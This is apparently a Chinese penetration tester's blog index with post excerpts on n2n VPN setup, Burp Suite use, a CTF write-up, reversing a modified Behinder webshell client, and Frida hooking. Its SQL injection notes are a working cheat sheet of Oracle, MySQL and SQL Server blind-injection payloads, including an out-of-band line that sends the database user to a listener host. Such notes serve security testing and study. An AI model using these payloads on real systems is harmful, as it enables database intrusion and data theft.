【踩坑日记】使用n2n远程访问家里的网络

前言

目的呢是想实现出门在外通过RDP远程访问我家里的台式电脑,但需要解决以下问题🤔:

  • 家庭网络无公网IP,无法直连
  • 尽量低延迟
  • 电脑按需开机

这好办,买一个国内低延迟大带宽云服务器搭个VPN中转下就解决了嘛👏

这我只能说:有钱真好,可惜我没有🙄

阅读全文

Android Burpsuite无障碍抓包

0x00 前言

不是新知识,有时候会有人遇到Android抓包的问题,在这里做个记录备用。如果条件允许还是直接用IOS设备,导入证书并信任就啥都抓到的了。Android遇到微信授权登录步骤可能就抓包失败。这时候要把中间人证书放到系统信任证书目录下。

阅读全文

BurpSuite扩展开发入门

引言

以解决一个防重放问题为契机,学习一下简单Burp拓展的开发。

相信在场的测试小伙伴都遇到过这个😉

所以我们的需求是:在Repeater和Intruder范围发起HTTP请求时,如果X-GW-NONCE头存在则自动替换值为新随机uuid。

阅读全文

构建N2N

简介

N2N是一款轻量级P2P的VPN软件,采用UDP协议,通过服务端(Supernode)的协调,如果客户端(Edge)之间NAT条件允许,则可以直接通信,实现了低时延。所以特别适合用来和基友一起远程玩局域网联机游戏😁

阅读全文

NBCTF Pre-training WP

0x00 前言

预赛前练习题

0x01 Web

0x0101 签到~

f12 找 response header 得到Flag

0x0201 Myself~

必须在小红自己的电脑上访问哦,答案格式:flag{xxx}。
链接地址:192.144.182.32:25001

加两个请求头

1
2
X-Forwarded-For: 127.0.0.1
Referer: 127.0.0.1
阅读全文

记一次修改版冰蝎简单逆向

0x00 前言

起因是一个小伙伴在小交流♂群里发了一个修改版冰蝎,可以逃避流量检测,欧,棒呀,再瞅一眼,发现没有服务端😳…又试了原版的服务端,报连接失败…😡岂可休!

于是以摸出服务端为目的的简单逆向开始了…

一开始用jd-gui看了一会儿也没瞅出个啥名堂来,搁置了

A few days later…

偶然在先知社区上看到个文章从ClassLoader到冰蝎Java篇,结合冰蝎作者的文章,然后对冰蝎的通信过程窥见了一斑,于是重新摸了摸代码,用了一天多时间(太菜了),把修改版的Jsp服务端写出来了。后续又整了PHP和ASPX端的,比较简单~

阅读全文

SQL注入笔记

Oracle

在日常测试中针对Oracle数据库的注入字符串拼接盲注payload

是否判断

1
'||decode(substr(user,1,1),'z','','1')||'

短一点

1
select 'ab'||nullif('S',lpad(user,1))||'cd' from dual

延时

1
'||decode(substr(user,1,1),'x',DBMS_PIPE.RECEIVE_MESSAGE('S',3),'1')||'

在不能使用逗号的情况下,利用case when判断是非,结合order by排序,观察变化临界点,然后逐个增加正确字母长度直到完整
Burp Intruder需要使用Pitchfork两个字母变量保存一致进行爆破

1
'||CASE user WHEN (select * from (select user from dual where 1=1 union select 'N§B§' from dual order by 1) where rownum = 1) THEN 0 ELSE 1 END||'

此外,Oracle可以试试中文逗号!

1
lpad(user,1)   #%EF%BC%8C

上述改版,没有单引号,适用于数字型注入

1
||case user when (select * from (select user from dual where 1=1 union select UTL_RAW.cast_to_varchar2(HEXTORAW(53)) from dual order by 1) where ROWNUM=1) then 0 else 1 end||

带外注入(或者拼接在子域用自建dns服务记录结果)

1
'||utl_http.request('http://192.168.110.1:9999/'||user)||'

手动报错

1
select (case 1 when 1 then 1 else 1/0 end) from dual;

判断语句

1
2
3
4
case a when b then c else d end #如果a等于b,返回c,否则返回d,c、d参数类型要一致
decode(a, b, c, d) #如果a等于b,返回c,否则返回d
nullif(a, b) #如果a等于b,返回NULL,否则返回a
regexp_replace()

字符串操作函数

1
2
3
4
5
substr()
instr()
lpad("abc", 2) #返回'ab'
rpad()
HEXTORAW() #返回binary类型

Mysql

binary 区分大小写 in 判断字母

1
/index.php?id=/**/5/**/and/**/binary/**/substr((select/**/flag/**/from/**/flag/**/limit/**/1),§1§,1)/**/in/**/('§a§');#

rlike 是正则表达式匹配返回真假 str rlike pattern

case when条件假会输出0x28,0x28是括号,会报错

1
' RLIKE (select (case when (1=1) then 1 else 0x28 end)) and '1'='1
1
select * from user where email rlike (select (case when (2=1) then '123' else 0x28 end));

可以让延时注入转变成布尔注入


下面这个是CTF中遇到的,非盲注,过滤了一些关键字,主要是使用无列名查询技巧进行绕过,union select一个新表并且列数和目标表列数一样,命名你要查的列就可以了

1
x.php?id=0/**/union/**/select/**/1,group_concat(b),3,4/**/from/**/(select/**/1,2/**/as/**/b/**/union/**/select/**/*/**/from/**/flag)a 

SQL Server

过滤了char等函数

1
concat(3,charindex('a',LEFT(user,2),2))

Frida&Xserver Hook APP

0x00 前言

测试中碰到个带有参数签名验证的APP,导致不能修改参数,于是乎想看一下其中的生成算法。之前同事用过Frida+Xserver的方法来分析,效仿一下,唯一不同之处是无需Xposed。然而因为工具原因忽略了某个重要的因素导致最终没能成功Hook目标APP,方法本身没问题(艹,好像也有问题,Hook方法报错需要Android版本5),记录一下过程,为了下次操作方便。

阅读全文